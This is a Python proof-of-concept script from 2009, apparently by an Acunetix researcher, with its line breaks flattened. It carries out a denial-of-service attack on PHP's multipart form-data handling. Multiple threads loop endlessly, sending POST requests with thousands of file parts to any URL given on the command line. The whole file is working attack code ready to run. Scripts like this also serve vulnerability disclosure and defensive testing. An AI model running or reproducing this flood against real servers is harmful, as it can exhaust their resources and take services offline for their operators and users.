# # PHP MultiPart Form-Data Denial of Service proof of concept, 23-10-2009 # Bogdan Calin (bogdan@acunetix.com) # import httplib, urllib, sys, string, threading from string import replace from urlparse import urlparse def usage(): print "****************************************************************************" print " PHP MultiPart Form-Data Denial of Service proof of concept" print " Bogdan Calin (bogdan@acunetix.com)" print "" print " Usage: php_mpfd_dos.py url [number_of_threads] [number_of_files] [data]" print "" print " [number_of_threads] - optional, default 10" print " [number_of_files] - optional, default 15000" print " [data] - content of the files, by default it will create files containing" print " the string " print "" print " Example: php_mpfd_dos.py http://ubuntu/index.php" print "****************************************************************************" class PhpMPFDDosThread ( threading.Thread ): # Override Thread's __init__ method to accept the parameters needed: def __init__ ( self, host, path, files ): self.host = host self.path = path self.files = files threading.Thread.__init__ ( self ) # run in loop def run(self): while(1): try: self.post_data() except: print "*", # post multipart_formdata def post_data(self): content_type, body = self.encode_multipart_formdata() h = httplib.HTTPConnection(self.host) headers = { 'User-Agent': 'Opera/9.20 (php_mpfd_dos;poc)', 'Accept': '*/*', 'Content-Type': content_type } h.request('POST', self.path, body, headers) print ".", # encode multipart_formdata def encode_multipart_formdata(self): """ adapted from http://code.activestate.com/recipes/146306/ files is a sequence of (name, filename, value) elements for data to be uploaded as files Return (content_type, body) ready for httplib.HTTP instance """ BOUNDARY = '----------PHP_MPFD_DOS' CRLF = '\r\n' L = [] for (key, filename, value) in self.files: L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) L.append('Content-Type: application/octet-stream') L.append('') L.append(value) L.append('--' + BOUNDARY + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % BOUNDARY return content_type, body def main(): if len(sys.argv)<=1: usage() sys.exit() # default values number_of_threads = 10 number_of_files = 15000 data = "" if len(sys.argv)>2: number_of_threads = int(sys.argv[2]) if len(sys.argv)>3: number_of_files = int(sys.argv[3]) if len(sys.argv)>4: data = sys.argv[4] url = sys.argv[1] print "[-] target: " + url # parse target url up = urlparse(url) host = up.netloc path = up.path # prepare files files = [] for i in range(0, number_of_files): files.append(('fu[]', 'f'+str(i), data)) # start the threads for x in xrange ( number_of_threads ): PhpMPFDDosThread(host, path, files).start() if __name__ == '__main__': main()